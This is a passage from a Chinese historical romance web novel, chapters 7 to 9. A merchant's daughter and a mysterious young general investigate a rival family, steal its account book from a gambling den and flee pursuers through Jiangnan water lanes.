射箭偷袭的四人中两人重伤自尽,剩下的被谢衡扭断了下巴。江云悠趁机将一丸药塞到两人嘴里,见谢衡看来,她拍了拍腰间巴掌大的绣金纹皮袋。
“软筋散,独家秘制,省的他再整什么幺蛾子。”
她摩挲着手里的玉佩,脑中又回现出谢衡方才的表情,记忆里,好像两次看到他如此鲜明的情绪都是跟着玉佩有关。
江云帆一天换两三个玉佩,所以刚开始她还以为这也是个装饰。
她看向上面稍显稚嫩的花纹和刻字:“这不是工匠雕的吧,是很重要的人送的吗?”
谢衡垂眸拿过玉佩,长睫掩去了眼里的情绪,没回答这句话。
“多谢。”
江云悠看他把玉佩叠到丝帕里放好,心里疑惑更深,但依这人的脾气,不愿说的怕是怎么都问不出来。
谢衡收好玉佩,朝天边放了个信号。
江云悠头次见这种东西,一手搭在额前看去,喃喃道:“这么小的烟花,能被看到吗?话说你这是用什么做的,我买一支怎么样。”
身旁良久没有回应,她转头四顾,这才看到谢衡已经往另一头走去。
“哎,你走路怎么没声啊,等等我啊——”
7. 光阴易逝(二)
江云悠小心的避开地上的血迹,追上谢衡。
“明淮兄这般武艺高超,定不是一般人吧?咱们这都过命的交情了,说说呗,我保证不告诉别人。”
她双手背在身后倒着走,不料脚下忽然踩到个什么东西。她不甚在意的踢了踢,结果垂头一看,顿时一蹦三尺高跳到谢衡身后。
“这这这这……他他他他……”
墙口拐角处,残破的草席被踢开一角,露出一双死不瞑目的眼,血迹顺入石砖缝隙里,干涸成一片褐色。
谢衡蹲下身将草席掀开,腥臭扑面而来,里面盖着的人心口插着箭,一击毙命。
人已经死了有一会儿,线索又断了。
他转身准备离开,却看到八丈远外的江云悠仍捂着口鼻,表情不似作假。
谢衡把草席踢上,遮住血腥的尸体。
江云悠闭上眼,脑中闪过曾做过的噩梦,令她有些分不清现实和幻境。她不自觉的捂起鼻子,开口道:“你有没有闻到一股烧焦的味道?”
“焦味?”
谢衡四周看了看,周围连一点火星黑烟都没有,倒是尸体的腥臭味隐隐从草席里溢出。
他将闭着眼的江云悠往远处带了带:“现在怎么样?”
谢衡身上的淡香冲散了那股带着恶臭的画面,江云悠睁开眼,缓缓点头。
对面巷口,暨雨带人走来,将那几个黑衣人和此处的横尸清理了。
空气中的沉闷之气愈发强烈,远处鼓楼上空雾气缭绕,像是盘着条白蛇在暗中窥伺。
江云悠踩着太阳落山的最后一点亮回了江家。
饭桌上,江旬几人不在,江云悠没吃几口便饱了,一大桌子食物几乎没动多少,方妤晴索性把没动过的菜分给了下人们。
虽然今日有惊无险,但对一个连杀鸡都没见过的大小姐来说,到底还是超出了承受范围。
江云悠早早上了床,甩着弹弓出神。
清风吹动床幔,将薄纱上的金丝缠枝绣花拂到眼前,让她想起今日余晖下的那一身锦衣华服。
按江云帆无利不起早的奸商性格,一定是看中了他身上的什么,会是什么呢?
“郑公子……劫船……冯总旗……朝廷……镇北军?”
江云悠一个鲤鱼打挺坐起,手上弹弓脱手,哐啷一声飞到地上,打着转的弹弓滑出一段距离,撞到条洁白的裙摆。
“什么镇北军?”
江云悠被声音惊动,微愣道:“方姨?”
方妤晴捡起脚边的弹弓,娥眉轻蹙:“你是不是又去那些地方了?”
“啊……这……这是江云帆的!方姨放心,等他回来我一定狠狠说他,大家子弟,怎可去那种勾栏瓦舍。”
江云悠毫不犹豫的把烂摊子甩到专业背锅十六年的江云帆身上。
她夺过弹弓往床上一扔,若无其事的拉着方妤晴去外屋。
“方姨怎么忽然来了,吓我一跳。”
“你啊,登高爬树下海摸鱼都不怕,我还真想不出有什么能吓到你。”方妤晴将桌上鎏金香炉点好,道:“你方才一个人在床上说什么镇北军,怎会突然说起他们?”
“啊……就从别人那听到来着。”江云悠道:“方姨听说过镇北军吗?”
方妤晴垂眼斟了两杯果茶,温声道:“年轻时知道些,不过也都是老黄历了。”
江云悠眼睛一亮:这岂不是正中下怀。
她赶忙贴上去:“讲讲嘛方姨,镇北军跟咱们江南的安远水师一样厉害吗?”
江云悠平日被夫子追着撵着才学上一两篇诗经楚辞,对这些史论国事更是听个开头就开始打瞌睡。
也就是这两年南境边上的越人又开始蠢蠢欲动,她才从市井百姓的茶余饭后中听说了护卫岭南山水的安远水师。
方妤晴被她晃得脑袋都要晕了,只得依她。
“《大齐游记》上记载,镇北军常驻关外。听说那里长年飘雪,没有春秋之分,匈奴外族以游牧为生,年年侵扰边境,百姓苦不堪言。”
她声音轻柔,江云悠不知不觉听入了神。
“几十年前,二位血气方刚的青年当朝上奏,自请赴北镇压外族。二位将军身先士卒,屡战屡胜,匈奴闻风丧胆,百姓安居乐业,先帝大喜,亲笔提名镇北二字。”
“原来镇北军的名字是这么来的。”江云悠道:“那两位将军现在想必都长白头发了吧,是不是不能领兵了。”
江云悠想起江旬闲的没事就抽查自己学问,推己及人道:“那无聊的时候肯定会拉自己的儿子女儿出来当兵训吧。”她想想就替那群小孩屁股疼,连声道惨。
“他们没有等到老的那一天。”
宁静的气氛急转直下,方妤晴还是那般轻声细语,为这两位戎马一生的传奇人物续上惨烈的结局。
“建安四年,匈奴举国进犯,镇北军精锐在雁门关激战三天,几乎全军覆没,镇北大将军拼死闯出生路,交代完部署后重伤而亡,雁门关一带尽数归于敌国。
消息传回临安的那天,百姓才知道此战盖因骠骑将军枉顾军令,支援不及所致。于是建安四年的冬天,骠骑将军被押送回京,隔月斩首正法。”
方妤晴的声音散入风中,屋内一片寂然。
窗外,秋风卷起败落的花瓣一路向西,像是悼念这两位峥嵘半生,最后却憾然离场的将军。
江云悠隔了好久才从这段跌宕起伏的故事里回神,想起了码头上风中的那个身影。
“那现在呢?现在的镇北军是什么样的,还是那样所向披靡吗?”
方妤晴起身关上窗,她身子弱,这么一会已经被冷风吹的双手冰凉,连带着声音都添了几分凉意。
“听说如今的镇北军将领是位刚及弱冠的年轻人,铁血手腕,兵行诡道,但也嗜杀成性,手段残忍。”
江云悠下意识想起水巷里以一敌四的一幕,但不过一瞬,就否定了这个猜测:他虽然嘴毒,却也谈不上残忍嗜杀吧。
“阿昭?”方妤晴见她又出神,担忧道:“你是不是碰到什么事了,看你今日饭也没好好吃。”
江云悠挠挠脑袋,不知道该不该把谢衡的事告诉方妤晴,一来此人身份扑朔迷离,二来江云帆那边不知道搞什么鬼名堂,万一方妤晴告诉江旬穿帮了怎么办。
方妤晴看出她的犹豫,轻叹一声,把她揉乱的碎发别到耳后:“阿昭长大了有自己的心事方姨理解,但一定要记得万事安全为首,女孩子家在感情中总容易多思多虑……”
“哎呀等等等等方姨,”江云悠感紧举起双手拦住方妤晴:“您这想哪去了这是,我就……”
她刹住嘴,但看着方妤晴担心的模样,心里又道:其实也没什么,大不了多解释解释,再让方姨千万别告诉别人就得了。
于是她深吸一口气,从两天前嘉安湖上碰到谢衡开始说起。
方妤晴听得眉头越蹙越紧:“此人也太危险了,你才认识他几天,就三番四次陷入险境。”
“……其实这也并非他本意嘛,何况要不是他,我就被曹骏达那只会放狗咬人的给阴了。”<
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“你还说呢。”方妤晴点了点她额头:“你阿舅平日怎么说的,让你不要跟官府的人来往。”
江云悠一听江旬大名,赶忙道:“您放心,我一定谨记教诲,肯定会保护好自己的。”
她嘴上一万个诚恳乖巧,心里却在钻空子的路上:只说记住,可没说照做啊。
桌上烛影微动,蜡油将时间一分一秒的滴到雕着缠枝花纹的底盘上,转眼已近戌时。
暨雨把烛心的引线剪了剪,四方小室总算亮堂了些,年久掉漆的木桌上摆着一封印着火漆的信。
谢衡站在窗前,静默的看着窗外灰鸽腾空而起,影子似与夜色相融。
外人只知这一任镇北将领冷血残忍,孰不知他背上的千钧重担。
有时候暨雨跟着他巡营时常会听到士兵们在背后骂他,他开始还会驻足,后来便直接走过,恍若未闻。
渐渐的,就连身边人也看不透他毫无波澜的脸后究竟是何种的情绪。
战场上烽烟滚滚,他长剑浴血,某一刻,似乎真的与人们口中的杀神重合。
暨雨看着寒风中谢衡背影,不敢上前劝阻,转身摆弄起桌上的信,小声道:“孟笛姐,这信谁送来的,我怎么从来没见过这种红漆封的。”
“不该问的别问。”孟笛腿垫在凳子上,擦着枪道:“小心好奇害死你这没眼力见的小猫咪。”
暨雨打小就在孟笛的套路和吓唬中长大,早就免疫了,但这信来的确实莫名。
没等他研究完这封无名信的来历,谢衡已经决定了它的归途。
“烧了吧。”
屋内寂静,唯有老旧的窗棂被冷风吹的吱呀乱叫,好像下一秒就要带着窗扇乘风归去。
“给江云帆递话,让他开始准备吧,条件按上次说的,越快越好。”
谢衡盯着桌上残落的灰烬,烛光摇曳处,晦暗不明的光让他的眼神更加深邃幽冷。
清晨,嘉安湖上起了一层薄雾,西湖那一片的遮天莲叶像是仙境瑶池乍现人间。
江云悠在睡梦中打了个喷嚏,抓起蹬到一边的被子往身上一裹,睁眼时已至晌午。
昨天那些血腥的场面早随着睁眼就忘的梦一起被她抛到了脑后。
然而,一觉睡到自然醒的好心情只持续到她开门那一刻。
院子外的山羊胡正练着五禽戏,眼睛一扫,便与准备关门的江云悠对了个正着。
江云悠霎时提起笑:“杨夫子早啊,您吃过早饭没,要不要尝尝新采的糯米藕,可脆了。”
杨夫子警铃大作,被迷倒的场景历历在目,现在凡是江云悠递的吃喝,他老人家是说什么个不接了。
他一捋胡子,清嗓道:“不早了少东家,业精于勤荒于嬉,三天打鱼两天晒网是不可取的。”
江云悠对挨训这事儿一向很有经验,她面上低眉顺目,其实心里已经在琢磨逃跑路线了。
就在此时,她瞥到了桌上的一本《大齐游记》,心中思绪一顿,想到昨晚方妤晴讲的那两位镇北将军。
“古人云,读万卷书行万里路,四海宇内广袤无垠,壮士名人数不胜数,书上寥寥几页自是挤不下他们壮阔的一生,所以要去经历……”
江云悠听着山羊胡的耳提面命,第一次入了耳。
杨夫子絮叨了一刻,总算进入正题,声音却越来越小,最后直接倒在了桌上。
江云悠书还没翻到页数,一见这场面赶忙起身摸脉:“夫子……杨夫子?夫……”
“别喊了别喊了,一会喊醒了。”
8. 光阴易逝(三)
江云帆从侧面花坛里跳出来,跺了跺脚上的泥。
“我说你这迷药见效也太慢了,我都快被山羊胡催眠了你这药才生效。”
江云悠这才反应过来,迅速远离那张飘着香的桌子,顺带给了江云帆一巴掌。
“哎呦我去,恩将仇报是吧,练铁砂掌啊你。”
江云悠哼道:“我这叫君子报仇十年不晚。你不好好养你的鸽子,打扰我学习干嘛?”
“哥不是怕你学的太辛苦,来给你谋福利了嘛。”江云帆眉飞色舞道:“送你个犯花痴的机会——近距离跟小白脸接触。”
江云悠狐疑的打量他一眼,甩着头发坐回凳子上,重新把书竖起来。
“不要,本姑娘才不当眼线。”
江云帆啧一声:姑娘大了不好糊弄啊。
“哎呀阿昭,你听我说,别人我信不过。”他跑到江云悠前面压下书:“你不是喜欢淘那些稀奇古怪的宝石吗,等莫家的事情过去哥给你起个楼,直接进驻长乐街。”
江云悠从书里抬起眼:“真的?”
“当然,我什么时候拿生意事开过玩笑?”
江云悠摸着下巴,奇道:“你们到底准备干什么啊,你不信他干嘛还要跟他合作,这不符合你的风格啊。”
“世上哪有那么多清清楚楚的事,做生意嘛,利益一致就好。”江云帆拽了个凳子坐下,给她分析眼前的局势。
“不管小白脸是谁,他能调动官家人,让莫家扣下的船这么快就回来,就对咱们大有益处。眼下莫家带着一堆跳梁小丑叫嚣,如果咱们选择避让,只会让迎来更阴险的算计,所以必须来一招杀鸡儆猴。”
江云悠点头,明白了眼下江家的外患:“可他为什么帮我们?”
“他想要咱们这批货。”江云帆想起谢衡的条件,猜测道:“我觉得还跟莫家背后的人有关,八成是朝廷什么派系正大杂烩呢。”
他不在意道:“总之这些跟咱们没关系,只要他不使绊子,大家就是和和气气的好朋友。”
江云悠大概理解了:“可我没当过探子,一点经验都没有。”
江云帆往花丛里薅了朵花,哄道:“咱们阿昭聪明伶俐,这点事肯定难不住,他对你又不设防,你在他旁边当吉祥物就行了,其他什么也不用做。我给你配两个人随行保护,那小白脸到底不是知根知底,怎么也得防着点。”
他点点桌子,觉得自己有必要再次提醒某位好色之徒:“记住千万可别被他迷惑,他让你干什么事之前先脑袋里想一遍,最重要的是,万一真有什么事——”
“三十六计跑为上策。”江云悠接过他的话:“你怎么也变絮叨了。再说,谁迷惑谁还不知道呢。”
大雾散尽,山风平铺十里湖光,两岸垂柳轻动,将嘉安西岸的荷香送至鱼龙混杂的湾里街。
一处破旧的面摊里,店家端起刚出锅的汤面放到桌上。谢衡筷子刚抽出来,碗就被另一人拨了过去。
“哎烫烫烫烫。”
谢衡对这个不请自来的人视而不见,自顾自把面端过来放辣酱。
江云悠被烫的在空中甩手,稀奇道:“哇,你们军中人都练铁砂掌吗?”
谢衡扫她一眼,他每次只有讽刺和吓唬人的时候,眼里情绪才让人一看就懂。
江云悠捂上嘴,做了个请的姿势,但她是个闲不住的主,没隔一会又道:“这面就那么几片肉,你吃的饱吗?”
谢衡撂下筷子,啧道:“没话就甭乱找话,烦死我可没人帮你们对付莫家了。”
江云悠长哦一声,拍了锭银子到桌上:“老板,单上三份牛肉。”
她把碟子揽到自己这边,慢悠悠的在他面前把每个碟里都蘸上辣酱。
谢衡无视她的挑衅,双手环胸,好整以暇的靠在座上。
下一秒,江云悠五官一皱,辣的直抽冷气,泪眼汪汪的四处找水。
“看什么呢江大小姐,你那三份牛肉在这呢,可别浪费。”
江云悠感觉舌头上像卷了团火,什么也说不出来了。
谢衡慢吞吞的放了手,正准备喊店家送水,旁边忽然跑来一个黑瘦的小姑娘,举起手将灰色的陶碗伸到江云悠跟前。
“姐姐,水。”
谢衡尚来不及阻止,江云悠已经接过碗一饮而尽,终于感觉舌头上的火消解了些。谢衡算是服了这个天真到冒傻气的大小姐,他拿过陶碗,低头嗅了嗅。
小姑娘一身打着补丁的麻布裙,黑瘦的手指偷偷伸向桌上的牛肉。谢衡见状便明白了怎么回事,将陶碗放到牛肉前面,小姑娘的手顿时缩了回来,圆溜溜的眼无措的看着他。
江云悠这才反应过来这女孩不是店家的孩子。
谢衡放缓自己的声音,对女孩道:“想吃吗?”
小姑娘揪着裙摆不说话,良久才怯怯的点了点头。江云悠心头一软,准备再掏银子时被谢衡眼神拦了一下。
他低头,继续对女孩道:“可你没有告诉我们,万一我们误会你私自拿我们的东西,知道会有什么后果吗?”
江云悠听懂了,他是在教育这孩子的是非观。
她在女孩身后坐下,看着谢衡半蹲的动作。从这个角度看,正好能看到他清隽的侧脸。
长睫浓密,眼尾微扬,这样的眼廓本该温柔多情,就像江云悠第一眼见到他时,本能觉得他应该同自己一样,是张扬肆意、洒脱不羁的……
面摊是四个树干支起来草棚,身穿补丁的女孩如愿以偿的端着肉跑向一群年龄更小的孩子,他们头发蓬乱、衣衫褴褛,蜗居的黑暗里只有一双双眼睛剔透发亮。
江云悠看着他们,忽然想到长乐大街上挥金如土的名人雅士,想起每一条水巷的泥泞深处,很多年前,自己也跟着阿娘在街头施粥。
那时懵懂不甚了了,只觉得路远日晒,而今迈步从头看,才豁然贯通。
谢衡放了几个铜板在桌上,敲敲桌子:“走不走?”
江云悠回神,谢衡又恢复冷淡,拿起桌上的剑便起身往外走。
“等一下。”
她拿起筷子,朝店家要了碗清水:“我还没吃完呢。”
谢衡眉梢微扬,转头看向那个满头珠翠的少女。
湾里街越往西走人越少,路上大多都是头戴斗笠的中年人,腰间佩剑,步履匆匆。
她揉着吃撑的肚子跟谢衡进了一家赌场。这里跟长乐大街的赌场不同,不仅小而且暗,每个桌子挨得极近,汗臭和脚臭混在一起,赌徒的叫喊声让她直犯耳鸣。
江云悠正想捂鼻子,胳膊抬了一半忽然被攥住。谢衡站在她旁边,看向四周从一进门起就黏在她身上的眼睛。
那些人对上谢衡冷厉的视线,又老实的把头转了回去。
眼见衣袖上那只骨节分明的手将要落下,江云悠伸手拉住他的袖口,轻声细语道:“多谢公子,只是万一误了公子名声可如何是好,你放心,我定会负责到底的。”
谢衡拂袖挥开她的手:“脑袋里能不能有点正事儿?”
他环顾一圈,带着她走向最里面的那个小屋,低声道:“莫家黑账多,只要拿到一本就够你们绝地反击了,一会儿脑袋清醒点,懂了?”
江云悠不懂,自己不是来当吉祥物的吗,怎么还有这种听起来就不简单的戏份呢?
小屋前站着个腰间别着把斧头的人,伸手拦下了两人。
“何人?”
谢衡甩了甩袍袖,却没正视那人一眼,纨绔公子的傲慢分毫毕现:“莫家排场挺大,看来这生意不谈也罢。”
小屋里立时跑出个身穿黑背甲的眯眯眼,一张笑脸跟画上去似的。
“曹公子留步。”
他装模作样的训斥了看守两句,请谢衡两人到屋里。
“我家公子知道您要来,一早便恭候着呢。”他笑眼移向江云悠“不知这位是……”
“婢女。”
江云悠原本正躲在谢衡身后悄然观察,听到这没有停顿的两个字瞬间扬起头,眯眼瞪着谢衡的后背。
谢衡仿佛背后长了眼,没回头就对黑背夹道:“小姑娘仗着自己长得好看脾气大的很,刚开始伺候没规矩。”
黑背夹自知这些大家子弟玩的花样多,识趣的没多问,好声好气的应了:“这刀剑无眼,还请曹公子把剑放到外面。”
谢衡痛快的摘了剑,转头放到仍瞪着他的江云悠手里,视线往左边递了眼,伸手往下一压。
“这剑重的很,小心点儿。”
江云悠顺着他的视线看去,瞄到一扇紧闭的木门。谢衡被黑背夹带着进了正门,外屋只剩下她和门口的看守。
银剑冰凉,似乎泛着森冷的寒意,剑鞘上纹路繁复神秘,像上古卷轴里的图腾,封印一切魑魅与奸佞,她摸着剑鞘,转头看向那个木门。
赌场里声音震天,她看着围挤在一起的人,把视线移到门口的看守身上。
“哎呦肚子疼肚子疼。”江云悠躬着身子到看守面前,皱着脸急切道:“兄台兄台江湖救急,茅厕在何处?”
看守的人四肢发达,足足高出江云悠两头,他看着滚到眼前粉色豆芽,板着的脸有几分傻气。
江云悠抱着肚子,眯开一只眼观察,拔高调子喊:“哎呀兄台,我是真憋不住了,
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你可千万别告诉我家公子。”
看守瞄一眼正门,想起黑背夹走前嘱咐过要照顾好这人,挠了挠脑袋给她指了茅厕的路。
江云悠顺利出来,猫着腰凑到离小屋最近的人堆里,忍着臭气熏天的味道终于等到庄家揭盅,随后在一片输了的赌徒中压着声音道:“对面出老千!”
一石激起千层浪,一个赤裸上身的男子首当其冲,江云悠十分有眼色的把骰盅递给他,看着他把唯一的证据扔向对面。
人堆瞬间像点燃的火药桶炸开锅,看场子的人纷纷掏出斧头上前呵斥。
江云悠一早退出来蹲在角落,把刚才顺手摸出的几个荷包扔到小屋门口,前去捡荷包的主人成功吸引走看守的注意力。
她趁乱抓住机会,迅速贴着墙重新进了屋里,来到左边那扇小门前,结果再次傻眼。
“怎么还有锁!谁家往黑门上挂黑锁啊?”
屋外吵嚷声逐渐被镇压,她心一横,抽剑砍向那把锁,因为用力过猛,木门被戳了个洞。
“我去……”
江云悠手忙脚乱的捡起地上的锁,推开门进去,在那人回来的前一秒把砍掉的木头补了回去。
屋内漆黑一团,江云悠在这寂静中平复着自己的心跳,把手上的两半锁扔到门边,一捋额上的汗水:“区区斧头人,不过如此。”
这间屋子不算小,但除了墙上的木架就是几个大皮箱子,连窗户也没有。
“这是把我忽悠到哪了,杂物间吗?这里有账册?”
江云悠坐到皮箱上,懒散的拿剑挑起另一个箱盖。刹那间,夜明珠柔和的光映出她逐渐睁大的眼睛。
古董,字画,珊瑚,玉石金像,满屋的珠宝堆积如山,甚至连箭弩长枪也放了一箱子。
江云悠放下剑,一脑袋扎进琳琅满目的宝石箱中。
“天哪,这世界上最遥远的距离,莫过于在错的时间遇上对的你。”
她忍痛合上盖子,从旁边的箱子里拿了个箭弩揣怀里,举着夜明珠精神抖擞的在木架上翻起账本来。
江云悠自小在江旬身边长大,如果说别人启蒙的书是百家姓、三字经,那她的开蒙书就是江旬书案上那摞成小山似的账册。
她一弹手上的蓝本子,看向宝石箱:“等着,姐姐一定会把你们都光明正大的接回家的。”
她拾起剑蹲在门口,小心的推开一条缝打量门外的情况。谢衡正坐在外面和黑背夹闲谈,想来应该是等她的消息。
江云悠把碍脚的夜明珠踢到一边,不知撞了个什么东西,哐啷一声脆响。她吓了一跳,赶紧看向屋外,幸好距离远,无人听到。
江云悠盘着腿正想着怎么提醒谢衡,身后木架忽然开始转动,墙壁上陡然出现另一个硕大的屋子。
黑暗的小屋一下子被照的亮堂起来,江云悠坐在屋子中间,与里面十几个斧头人面面相觑,显得弱小而无助。
她讪笑了一声:“……这么大场面啊,其实我平时还是挺低调的。”
木椅上人转着扳指,狭长的眼睛看向她。江云悠本能的一激灵,感觉自己像是被毒蛇吐出信子缠住。
他视线下移,几乎瞬间锁住了她怀里的那把剑,忽然阴鸷的轻笑一声:“莫员外此处可真是遍地惊喜啊。”
他声线又轻又利,像是猫爪在挠木板,听得让人极度难受。
对面的中年人被他这几句话吓出一身冷汗,顿时拍案而起,喝道:“都是傻的吗!还不给我抓住她!”
江云悠一把抵开门,撒丫子就跑。门外的所有人被她这猝不及防的出现方式镇住。
谢衡转头,视线穿过江云悠背后的十几个人和两道敞开的门,直直与那狠辣阴郁的眼睛相对——谢霄,他居然也来了!
江云悠一股脑冲向谢衡,将手中长剑朝谢衡抛出,一道银光滑过空中。
“接剑!”
谢衡虚与委蛇的笑还挂在脸上,眼睛里已经毫无温度。仅仅一瞬,他便收回目光,先所有人一步接过银剑,挡住落下的斧头。
江云悠没有向后看,推起木桌挡住前方进攻的人,对谢衡道:“屏住呼吸,看门口位置。”
顷刻间,白雾弥散在空中,江云悠手腕一紧,被拉着躲过胸前一劈,那股强劲的风拂过脸颊,她心有余悸的舒了口气。
闪避间,江云悠撞进谢衡怀里,那股极淡的清香再次充斥在鼻端,这次她闻出来了,那是兰花的味道。
谢衡挥剑抵开面前的人,抓住江云悠冲出层层白雾。
喧嚣被甩在身后,耳边尽是呼啸的风声,他后知后觉的意识到,这次忘记隔着袖子了。
9. 光阴易逝(四)
湾里街的青石板承载着百年伤痕,静默的见证着楼起楼塌。
历经几代白墙灰瓦下,耄耋老人闲拉着二胡,呕哑嘲哳的调子越过七拐八绕的水巷,挤入江云悠的耳朵。
她把身上的箩筐掀开一条缝,探头四望:“这是哪位妙手在巡街演奏,这是要钱还是要命啊。”
“你的同好吧。”谢衡侧头看着最后一个斧头人从巷口跑过,补上后一句:“正好与你那琴声合奏。”
江云悠:“……”
她从筐里钻出来,粉色镂花裙摆在皮猴儿主人的努力下被刮成了泥流苏,成为硕大衣柜里寿命最短的一件。
皮猴儿敷衍的掸了两下土,摸着出账册检查了一遍:“这下我们算是暴露的干干净净了,会不会影响到你和江云帆的计划?”
“我用曹安仁的名头本也只是去套点儿话,没想着瞒天过海。”
“曹安仁?”
江云悠想到江云帆早上同她说的话:“所以你真的在调查莫家背后之人?曹安仁居然也勾结在里面!”
她灵光一闪,明白过来赌场里他为什么突然让自己去拿账本:“原来你知道我是被派来跟着你的,所以你刚才是故意支开我?”
“不然你是怎么找到我的?我可不信缘分这玩意儿。”
谢衡自然知道这几日身后一直有尾巴,不过明面上的探子总比暗地里好防,这才默认让她跟着。
“放心吧,我不是去当两面派的。”他扫眼她手上的账本“况且拿到这本账册,比你在我旁边站桩有用得多。”
事情目前进展的很顺利,除了——赌场里的那个人。
谢衡接过兵符调往关外的时候只听说谢霄被下放,他记得是个不起眼的小城,怎么会突然出现在平陵?
“这账册跟我们家的货有什么关系?”
江云悠还在翻账本,忽然觉得几笔账似曾相识。她脑海中浮现出揽月楼里冯远山身上的那本账册,猜测道:“你们是在争这批货?这是什么证据吗?”
谢衡没想到江大小姐那整日吃喝玩乐的脑子能想到这么关键的一层。
方才劫后余生的轻松一扫而光,他正色道:“做好你们自己的事,其余不该想的不要想,不该说的就不要说。”
江云悠撇撇嘴:“不说就不说,我对你们那千八百的碎银子才不感兴趣呢。”
她走出杂物堆环视一圈,此处正是三条巷口的岔路,不远处几个小孩正蹲在一堆分糖果。她踮脚凑过去,也不知道说了什么,小孩们笑嘻嘻围过来,把手里的糖分了她一颗。
江云悠喜滋滋的跑回来,看谢衡还在岔路逗留:“怎么不走?”
谢衡瞥一眼她:“这不是找着呢吗……你那是什么表情?这巷子七拐八绕的,我又没来过,迷路不是很正常吗?”
“唔~”江云悠没想到原来看似无所不能的人居然是个路痴,她对谢衡眨眼笑道:“那你可跟进我哦。”
江南水巷七拐八绕,两人走迷宫似的穿梭其间,布满青苔的石阶下,浣衣女包着头巾浆洗衣物,垂髫小儿呼朋引伴,旁边的老人们坐在门槛上晒太阳。
湾里街今晚有夜集,小贩们早早便出来抢好位置,放眼一看,竟比中午来时还要热闹。
“这水巷虽然多,但都是四通八达的,只要认准一个方向就简单很多。”
她嘴角一弯,凑近谢衡道:“不过没关系,你日后想逛街的尽管喊我,保证随叫随到……不过打架就算了,喝彩我到可以。”
谢衡瞧她一副尾巴都要翘到天上去的样子,懒得看她继续散德行,正要抬步离开,忽然瞥到行人堆里几人正拿着斧子四处搜人,而他们后面正是方才的莫家赌场。
他一把拽过正笑的灿烂的江云悠:“别忙着得意了,都走人家老巢里来了。”
江云悠还没琢磨过来这话什么意思,一个抬头间,恰好对上斧头人的视线。
“在哪!快追!”
“我嘞个弥来佛啊……今天这是犯了哪个大罗金仙的晦气啊。”
江云悠跟着谢衡一头扎进人堆,忽然有些感谢中午吃的那三盘牛肉,要不然今天非跑散架不行。
“还好他们手里是斧子,要是昨天的箭……啊对!”
她从怀里掏出箭弩递给谢衡:“还好我有先见之明,接下来看你了。”
谢衡没想到她居然还带出了这东西,有些刮目相看道:“看来回去鱼干没少吃啊……把箭递我。”
天可怜见,江大小姐昨天才见识这种东西,顿时懵道:“箭?不是都给你了吗,什么箭?它不是一摁就会自己发射的吗?”
得,还是夸早了。
“想的这么好,箭弩改进时忘叫上你了吧。”谢衡说着拎起她后领越过突然出现的牛车。
对方到底是练家子,江云悠奔波一天,体力早就跟不上了,要不是谢衡带着,她只怕早就被抓住了。
周围百姓不明所以,还以为是哪家公子跟农家女私奔,三三两两围在一起看热闹。
江云悠看着街两边反倒聚的越来越多的人,忽然来了主意。她将荷包里的银子全部倒在手里,珍珠手串也拆下来。
谢衡分神看向她:“这是干嘛?”
“带你见识一下金钱的力量。”
她话音一落,将手里东西一把撒向身后。
“赐福授礼,见者有份,先到先得!”
阳光下,数道银光划出绚烂的弧度,圆润的珍珠高而远的飞到众人头顶,在这险象环生的画面中定格出喜气洋洋一瞬间。
原本街边嗑瓜子的人们立即乌泱乌泱的涌入,斧头人被隔断在人墙之后,看着两人跑远。
天将日暮,谢衡拎着江云悠跑到湾里街尽头,开阔的嘉安湖跃然眼前。他收回手观察了眼身边的街道,还未开口,就见江云悠就直挺挺倒了过来。
谢衡松了一半的手赶紧伸回捞住,顾不得被下巴砸到的肩膀,边检查边问“是哪里受伤了?”
江云悠全身的力都卸在他身上,不停的喘着粗气。
谢衡看她没有流血,以为是内伤,揽着她的手顿时放轻:“你哪儿受伤了,还能说话吗,慢点深吸气。”
江云悠趁机虚握住他的手,隔了好久才用气音道:“我……我……我,要被累死了。”
谢衡检查伤口的视线被她这后半句拦腰斩断,现在只想把怀里这人卷吧卷吧直接丢海里。
他毫不留情的抽回手:“好了就赶紧起来,我可松手了。”
“哎别别别,”江云悠赶紧抓住他的衣服:“我腿是真软着呢,这要一摔万一断了怎么办……你变脸也太快了吧,我的伤病优待这么快就没了啊。”
谢衡双手环胸,戳成一根高大的人型杆子,偏头看海道:“缺练就说缺练,少敲竹竿儿。”
“敲竹儿竿儿?”
江云悠尝试着蹲下,揉了揉僵硬的小腿,卷着舌头仰头:“什么儿是敲儿竹竿儿?”
谢衡头回听这么奇特发音,嘴角泄出一丝笑,转身往前走。
“夸你苗条呢。”
“啊?真……哎,怎么就走啦?我还没休息好呢。”
江云悠拖着声音跟在他身后,少女清脆的音调渐与浪声相融。
红叶飘落,两道影子一前一后穿过,岸上留下两排脚印。几行大雁越过万水千山,终落得江南水边。两岸层林尽染,浮光跃金的水面上,归家收船的渔人们哼着不成调的江南小曲。
江家大院里,江云帆为了平陵北口的一艘货船,嗓子都快磨冒烟了——开船事大,做决策时总不会绕开江家家主。
江旬为人正派,即使是雷霆手段也用的刚正不阿。这也是江云帆自小挨的打比江云悠还多的原因,毕竟江云悠只是游手好闲,而这位自接手生意以来,就一直往歪门邪道里钻研。
当然,这“歪门邪道”是江旬定的义。江云悠平常总站在江旬背后奚落江云帆,其实关键时候没少帮他挪用资源。每当他因为跟江旬意见相左而被家法伺候时,也多亏了江云悠在中间当润滑油。
江云悠心里知道,她这位看着比自己还离经叛道的哥哥,心里其实最重情义。
当年江云帆的母亲温凝姝重病,临终之前心心念念只想见江旬一面,但那时江家境况远不如现在,江旬被困于外地,回来时,家里已经挂上了白幡。
母亲未尽的遗憾始终梗在江云
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帆心头,变成与父亲拧着来的角力。
可孩子的心事,又怎么能瞒过当父亲的呢。江旬看着与妻子一般无二的眉眼,最终挥了挥手。
罢了,随他去吧,这些年江云帆的作为他不是没看到,只是当父亲的,总希望自己的孩子能按自己所愿的那样稳健而茁壮的成长,其实人生哪就有了固定的路呢?
温凝姝从前总爱说他木头、顽固,若是她还在,一定会支持云帆吧,依她那性子,没准能想出个更令人瞠目结舌的主意。
他将放凉的杯里重新添了点热水,还未放到对面,江云帆已经从凳子上窜了出去。
这是江旬第一次同意他的策略,他惊大过于喜,飞一般的去安排接下来的事务。
本递到江云帆手边的杯子被这动作牵连,撒出的水不小心淋到他手上。江旬叹口气,将瓷杯收了回来:“还好是温水。”
江云悠回到家时,府里已经点起了灯烛。她换了衣服踮脚走去饭厅,探出一点脑袋往里看。
江旬不用回头看就知道谁来了,边盛粥边道:“别掩耳盗铃了,你那影子早都落座了。”
“嘿阿舅。”
